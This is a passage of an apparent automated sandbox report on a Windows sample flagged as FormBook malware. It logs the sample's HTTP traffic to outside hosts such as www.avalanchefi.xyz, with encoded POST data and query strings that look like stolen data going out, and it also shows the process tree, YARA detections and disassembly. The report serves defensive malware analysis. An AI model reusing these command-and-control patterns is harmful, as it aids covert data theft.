                                                        Data Ascii: qfsT1X=21JNLLR6nWLw+zgFrQNFjGmBQp5hvcPR4RIpXJPv0vA4UjkoGGNbt0jsSD362nQurnMcaBohN4nt0Ms6IUCXNX6Qt1dXjry22nIMuV7Hix5lBAL6yR80Fz58rlmmVC6ShE0AGZWXmxA85X5v9tfvzuRZCOuOPIqPpY83Kn5aKYaALuhY27aG+W1dL/bPAw2DwKPrJJrHBXj0owfy++XAtmMcemT7cMl1a5wFHd38rpjbgfB/1zjSUtt+MhoumPXCbL0GJaWIgsd9uckI4VNz60JC7fq1tH2kpMhzi3jhQFuFFfIx3EwuVbQKjqU0bbmBNyu6TlT1jofscmfbIcpX3e8eBh6bOaPGVSJPYvY/hc4k2QKHfwy7emmqS7W0jtXhN2HCht09hBneCg6owlz6CwvZUX6uiXjpOWAR5WWTvx4yTjA+HzdX4dxBoMJUF/jcyuI35ugBC3wezV++bCggm+mD5TOKZkPFs+Rx0ts9TmDMlhqZ7cnAXn9Md+PrY1fefc8hqhxkoqY7Zlv2TuUW/dYAniwab+hdROSv/YwgVZypzY6TfREPHkc6XVmhYNrkxNXjah/iby9P5UiV5g5pUs5B3Lg5TG2F3slQAG50HLQwQs7zkMxPBEVO3i/b+3FY1qCIeFp9n74tZH6EdjMKn1q6+2UzJWwKkWP/x
                                                        Dec 2, 2024 10:57:42.504832029 CET5156OUTData Raw: 45 6d 74 65 30 74 42 4b 2b 54 6e 69 38 72 47 4b 47 6a 7a 44 50 6f 59 4a 4a 6b 31 36 66 78 4a 4e 34 55 4c 79 38 79 66 55 5a 50 56 2b 73 6e 77 39 6a 6e 2b 79 55 4c 54 47 59 41 54 2b 46 42 78 55 74 4c 75 7a 57 49 53 57 34 43 77 2f 35 58 43 75 46 5a
                                                        Data Ascii: Emte0tBK+Tni8rGKGjzDPoYJJk16fxJN4ULy8yfUZPV+snw9jn+yULTGYAT+FBxUtLuzWISW4Cw/5XCuFZc6dgevJzzR87tXTk/S5Cnnhqcei44FD37uuO4B8YK9rdQUbknHlgMdKLw6Y5vz6EUTh9eGPFIHEg0dklGxSRNbg6A5osPV+EJROnqc3gOCojd3MjaLb268v6NZQuN0DaoaCBKRqBlGI2LH0O84LUapQyQLKbXmIKO
                                                        Dec 2, 2024 10:57:42.504878044 CET1531OUTData Raw: 72 6a 53 6a 50 41 57 70 69 78 32 71 42 57 58 48 55 55 44 65 76 4b 63 38 46 51 46 75 38 4c 37 68 70 38 49 57 67 73 7a 7a 56 77 6d 35 33 6e 50 43 4e 56 2f 63 31 68 51 58 59 36 66 73 6b 4c 77 62 31 35 2f 45 54 46 63 4e 4d 52 62 43 44 39 57 50 34 32
                                                        Data Ascii: rjSjPAWpix2qBWXHUUDevKc8FQFu8L7hp8IWgszzVwm53nPCNV/c1hQXY6fskLwb15/ETFcNMRbCD9WP42/l/vZm85rlBFDtHkn2/vfEBQSPtKOsqV47ioguwtxWFcmy82fmcDfPiWDIlKJDKkGt1YOZ3sZbnwf4zpwHmKOpH3aTxax13eHycDisEY9wUlfmUYcfxQ8AVj6R7luEjuDIqgv6kSYg+a0UoJLAVVVq1ZwSOlfVzmL


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        8192.168.11.204976313.248.169.48801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:45.232062101 CET542OUTGET /ctta/?qfsT1X=73htI/07lnbi6jhjvkJXrlKQRaNn0ZyivRRSV4arkt57XDlKC2xJvnG+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKRrtxl9UhNOptiwMmmbo8BlLeBbb2AsBfiI=&54p4W=QZdpHHSp3fe82zt HTTP/1.1
                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                        Accept-Language: en-US,en;q=0.9
                                                        Host: www.avalanchefi.xyz
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                                        Dec 2, 2024 10:57:45.419689894 CET404INHTTP/1.1 200 OK
                                                        Server: openresty
                                                        Date: Mon, 02 Dec 2024 09:57:45 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 264
                                                        Connection: close
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 71 66 73 54 31 58 3d 37 33 68 74 49 2f 30 37 6c 6e 62 69 36 6a 68 6a 76 6b 4a 58 72 6c 4b 51 52 61 4e 6e 30 5a 79 69 76 52 52 53 56 34 61 72 6b 74 35 37 58 44 6c 4b 43 32 78 4a 76 6e 47 2b 4a 6a 65 31 6e 57 64 35 6b 30 5a 33 50 53 30 56 56 5a 54 77 34 65 6b 37 4e 46 50 6f 4b 52 72 74 78 6c 39 55 68 4e 4f 70 74 69 77 4d 6d 6d 62 6f 38 42 6c 4c 65 42 62 62 32 41 73 42 66 69 49 3d 26 35 34 70 34 57 3d 51 5a 64 70 48 48 53 70 33 66 65 38 32 7a 74 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?qfsT1X=73htI/07lnbi6jhjvkJXrlKQRaNn0ZyivRRSV4arkt57XDlKC2xJvnG+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKRrtxl9UhNOptiwMmmbo8BlLeBbb2AsBfiI=&54p4W=QZdpHHSp3fe82zt"}</script></head></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        9192.168.11.204976423.225.159.42801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:57:59.792789936 CET6OUTData Raw: 50 4f 53 54
                                                        Data Ascii: POST
                                                        Dec 2, 2024 10:57:59.951904058 CET532INHTTP/1.1 200 OK
                                                        Server: Apache
                                                        Content-Type: text/html; charset=utf-8
                                                        Accept-Ranges: bytes
                                                        Cache-Control: max-age=86400
                                                        Age: 1
                                                        Connection: Close
                                                        Content-Length: 357
                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 68 3d 22 2b 62 74 6f 61 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 [TRUNCATED]
                                                        Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?hh="+btoa(window.location.host);if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>
                                                        Dec 2, 2024 10:57:59.952708006 CET794OUTData Raw: 20 2f 64 66 65 71 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d
                                                        Data Ascii: /dfeq/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.l


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        10192.168.11.204976523.225.159.42801880C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:58:02.496741056 CET6OUTData Raw: 50 4f 53 54
                                                        Data Ascii: POST
                                                        Dec 2, 2024 10:58:02.634023905 CET532INHTTP/1.1 200 OK
                                                        Server: Apache
                                                        Content-Type: text/html; charset=utf-8
                                                        Accept-Ranges: bytes
                                                        Cache-Control: max-age=86400
                                                        Age: 1
                                                        Connection: Close
                                                        Content-Length: 357
                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 68 3d 22 2b 62 74 6f 61 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 [TRUNCATED]
                                                        Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?hh="+btoa(window.location.host);if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>
                                                        Dec 2, 2024 10:58:02.634277105 CET814OUTData Raw: 20 2f 64 66 65 71 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d
                                                        Data Ascii: /dfeq/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.l


                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                        11192.168.11.204976623.225.159.4280
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:58:05.889460087 CET6OUTData Raw: 50 4f 53 54
                                                        Data Ascii: POST
                                                        Dec 2, 2024 10:58:06.035396099 CET532INHTTP/1.1 200 OK
                                                        Server: Apache
                                                        Content-Type: text/html; charset=utf-8
                                                        Accept-Ranges: bytes
                                                        Cache-Control: max-age=86400
                                                        Age: 1
                                                        Connection: Close
                                                        Content-Length: 357
                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 68 3d 22 2b 62 74 6f 61 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 [TRUNCATED]
                                                        Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?hh="+btoa(window.location.host);if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>
                                                        Dec 2, 2024 10:58:06.035737991 CET2578OUTData Raw: 20 2f 64 66 65 71 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d
                                                        Data Ascii: /dfeq/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Host: www.l
                                                        Dec 2, 2024 10:58:06.035815954 CET5385OUTData Raw: 52 77 63 68 70 2f 47 47 75 33 78 41 66 4a 6b 52 63 30 62 62 43 5a 70 37 4d 50 6a 78 5a 33 4d 4d 6d 53 74 4c 77 75 33 61 72 75 7a 57 71 48 68 46 52 70 59 56 46 77 6c 52 4d 73 51 63 32 53 77 54 7a 34 6e 49 71 4b 76 6f 75 6a 32 31 4e 37 31 6a 67 32
                                                        Data Ascii: Rwchp/GGu3xAfJkRc0bbCZp7MPjxZ3MMmStLwu3aruzWqHhFRpYVFwlRMsQc2SwTz4nIqKvouj21N71jg2mkBJQajQjG0C4GdnhBPJ4BCSQcohPs6jSnBbUu9PQme5kx1hFHCY/mPoFeFJQMNKQ6tNogH3mKTHQ5eLOsMCQZZ/P23LeijPQ5W3qpmh7lpbHE7JehAc0dbVEBJwCIrGlkxF2dlDsK7Fv6UHl2gp2ssrix3H3tDPQ


                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                        12192.168.11.204976723.225.159.4280
                                                        TimestampBytes transferredDirectionData
                                                        Dec 2, 2024 10:58:08.589162111 CET6OUTGET
                                                        Data Raw:
                                                        Data Ascii:
                                                        Dec 2, 2024 10:58:08.741583109 CET532INHTTP/1.1 200 OK
                                                        Server: Apache
                                                        Content-Type: text/html; charset=utf-8
                                                        Accept-Ranges: bytes
                                                        Cache-Control: max-age=86400
                                                        Age: 1
                                                        Connection: Close
                                                        Content-Length: 357
                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 68 3d 22 2b 62 74 6f 61 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 [TRUNCATED]
                                                        Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?hh="+btoa(window.location.host);if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>
                                                        Dec 2, 2024 10:58:08.741897106 CET535OUTData Raw: 2f 64 66 65 71 2f 3f 71 66 73 54 31 58 3d 67 41 58 55 4c 61 36 6d 38 31 46 50 36 4e 61 4e 57 45 65 36 59 78 42 70 49 38 46 31 55 62 56 61 47 44 4d 79 75 43 43 4e 6e 61 31 51 37 4e 36 6d 71 6b 45 55 6c 56 66 6e 65 30 79 52 72 66 56 2b 4e 38 74 72
                                                        Data Ascii: /dfeq/?qfsT1X=gAXULa6m81FP6NaNWEe6YxBpI8F1UbVaGDMyuCCNna1Q7N6mqkEUlVfne0yRrfV+N8trXlbxkU4RIowztTRvu0NeMY7qDTFTUW/X6RyLxmIuei5vfA1bDt4=&54p4W=QZdpHHSp3fe82zt HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,ima


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Target ID:0
                                                        Start time:04:55:57
                                                        Start date:02/12/2024
                                                        Path:C:\Users\user\Desktop\lKvXJ7VVCK.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\lKvXJ7VVCK.exe"
                                                        Imagebase:0x4f0000
                                                        File size:1'207'808 bytes
                                                        MD5 hash:F3CF71F41423CE451F2C1099CBB08D10
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low
                                                        Has exited:true

                                                        General

                                                        Target ID:2
                                                        Start time:04:55:58
                                                        Start date:02/12/2024
                                                        Path:C:\Windows\SysWOW64\svchost.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\lKvXJ7VVCK.exe"
                                                        Imagebase:0xcd0000
                                                        File size:47'016 bytes
                                                        MD5 hash:B7C999040D80E5BF87886D70D992C51E
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.60248720122.00000000006A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.60250384900.0000000005600000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.60249438261.00000000030B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                        Reputation:moderate
                                                        Has exited:true

                                                        General

                                                        Target ID:3
                                                        Start time:04:56:45
                                                        Start date:02/12/2024
                                                        Path:C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe"
                                                        Imagebase:0xff0000
                                                        File size:140'800 bytes
                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.60942122166.0000000004350000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                        Reputation:high
                                                        Has exited:false

                                                        General

                                                        Target ID:4
                                                        Start time:04:56:47
                                                        Start date:02/12/2024
                                                        Path:C:\Windows\SysWOW64\sc.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Windows\SysWOW64\sc.exe"
                                                        Imagebase:0x7ff6fa6f0000
                                                        File size:61'440 bytes
                                                        MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.60939034602.0000000002CE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.60942320274.0000000003090000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.60942493865.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        Reputation:moderate
                                                        Has exited:false

                                                        General

                                                        Target ID:5
                                                        Start time:04:57:00
                                                        Start date:02/12/2024
                                                        Path:C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe"
                                                        Imagebase:0xff0000
                                                        File size:140'800 bytes
                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.60940863079.0000000000CA0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                        Reputation:high
                                                        Has exited:false

                                                        General

                                                        Target ID:7
                                                        Start time:04:57:13
                                                        Start date:02/12/2024
                                                        Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                        Imagebase:0x7ff7f4490000
                                                        File size:597'432 bytes
                                                        MD5 hash:FA9F4FC5D7ECAB5A20BF7A9D1251C851
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:moderate
                                                        Has exited:true

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:3.5%
                                                          Dynamic/Decrypted Code Coverage:1.5%
                                                          Signature Coverage:10.2%
                                                          Total number of Nodes:2000
                                                          Total number of Limit Nodes:160
                                                          execution_graph 100777 4f107d 100782 4f708b 100777->100782 100779 4f108c 100813 512d40 100779->100813 100783 4f709b 100782->100783 100816 4f7667 100783->100816 100787 4f715a 100828 51050b 100787->100828 100794 4f7667 59 API calls 100795 4f718b 100794->100795 100847 4f7d8c 100795->100847 100797 4f7194 RegOpenKeyExW 100798 52e8b1 RegQueryValueExW 100797->100798 100803 4f71b6 100797->100803 100799 52e943 RegCloseKey 100798->100799 100800 52e8ce 100798->100800 100799->100803 100812 52e955 100799->100812 100851 510db6 100800->100851 100802 52e8e7 100861 4f522e 100802->100861 100803->100779 100804 4f79f2 59 API calls 100804->100812 100807 52e90f 100864 4f7bcc 100807->100864 100809 52e929 100809->100799 100811 4f3f74 59 API calls 100811->100812 100812->100803 100812->100804 100812->100811 100873 4f7de1 100812->100873 100938 512c44 100813->100938 100815 4f1096 100817 510db6 59 API calls 100816->100817 100818 4f7688 100817->100818 100819 510db6 59 API calls 100818->100819 100820 4f7151 100819->100820 100821 4f4706 100820->100821 100877 521940 100821->100877 100824 4f7de1 59 API calls 100825 4f4739 100824->100825 100879 4f4750 100825->100879 100827 4f4743 100827->100787 100829 521940 100828->100829 100830 510518 GetFullPathNameW 100829->100830 100831 51053a 100830->100831 100832 4f7bcc 59 API calls 100831->100832 100833 4f7165 100832->100833 100834 4f7cab 100833->100834 100835 4f7cbf 100834->100835 100836 52ed4a 100834->100836 100901 4f7c50 100835->100901 100906 4f8029 100836->100906 100839 4f7173 100841 4f3f74 100839->100841 100840 52ed55 100842 4f3f82 100841->100842 100846 4f3fa4 100841->100846 100845 510db6 59 API calls 100842->100845 100843 510db6 59 API calls 100844 4f3fb8 100843->100844 100844->100794 100845->100846 100846->100843 100848 4f7da6 100847->100848 100850 4f7d99 100847->100850 100849 510db6 59 API calls 100848->100849 100849->100850 100850->100797 100854 510dbe 100851->100854 100853 510dd8 100853->100802 100854->100853 100856 510ddc 100854->100856 100909 51571c 100854->100909 100926 5133a1 DecodePointer 100854->100926 100927 51859b RaiseException 100856->100927 100858 510e06 100928 5184d1 58 API calls 100858->100928 100860 510e18 100860->100802 100862 510db6 59 API calls 100861->100862 100863 4f5240 RegQueryValueExW 100862->100863 100863->100807 100863->100809 100865 4f7bd8 100864->100865 100866 4f7c45 100864->100866 100868 4f7bee 100865->100868 100869 4f7c13 100865->100869 100867 4f7d2c 59 API calls 100866->100867 100872 4f7bf6 100867->100872 100937 4f7f27 59 API calls 100868->100937 100870 4f8029 59 API calls 100869->100870 100870->100872 100872->100809 100874 4f7df0 100873->100874 100875 510db6 59 API calls 100874->100875 100876 4f7e2e 100875->100876 100876->100812 100878 4f4713 GetModuleFileNameW 100877->100878 100878->100824 100880 521940 100879->100880 100881 4f475d GetFullPathNameW 100880->100881 100882 4f477c 100881->100882 100883 4f4799 100881->100883 100884 4f7bcc 59 API calls 100882->100884 100885 4f7d8c 59 API calls 100883->100885 100886 4f4788 100884->100886 100885->100886 100889 4f7726 100886->100889 100890 4f7734 100889->100890 100893 4f7d2c 100890->100893 100892 4f4794 100892->100827 100894 4f7d3a 100893->100894 100896 4f7d43 100893->100896 100894->100896 100897 4f7e4f 100894->100897 100896->100892 100898 4f7e62 100897->100898 100900 4f7e5f 100897->100900 100899 510db6 59 API calls 100898->100899 100899->100900 100900->100896 100902 4f7c5f 100901->100902 100903 4f8029 59 API calls 100902->100903 100904 4f7c70 100902->100904 100905 52ed07 100903->100905 100904->100839 100907 510db6 59 API calls 100906->100907 100908 4f8033 